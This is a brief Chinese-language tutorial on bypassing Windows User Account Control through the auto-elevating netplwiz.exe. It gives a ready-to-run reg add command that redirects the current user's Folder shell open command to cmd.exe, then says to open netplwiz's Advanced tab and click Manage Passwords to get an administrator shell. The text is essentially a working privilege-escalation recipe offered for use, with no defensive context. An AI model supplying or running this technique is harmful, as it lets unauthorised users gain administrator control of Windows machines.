Bypass UAC using netplwiz.exe

Netplwiz.exe是高级用户帐户控制面板。

此文件是 Microsoft® Windows® 操作系统的一部分。Netplwiz.exe 是由 Microsoft Corporation 开发的。这是一个系统和隐藏文件。Netplwiz.exe通常位于 %SYSTEM% 文件夹中，其通常大小为 25,600 字节。

同样具有“自动提升”和签名：

监视运行，如果单击 netplwiz.exe 中的管理密码按钮时调用

运行命令 reg add "HKCU\Software\Classes\Folder\shell\open\command" /d "cmd.exe /c cmd.exe" /f && reg add HKCU\Software\Classes\Folder\shell\open\command /v "DelegateExecute" /f

在 cmd 中运行netplwiz.exe。

选择“高级”选项卡，然后单击“管理密码”按钮。然后会得到Administrator Shell。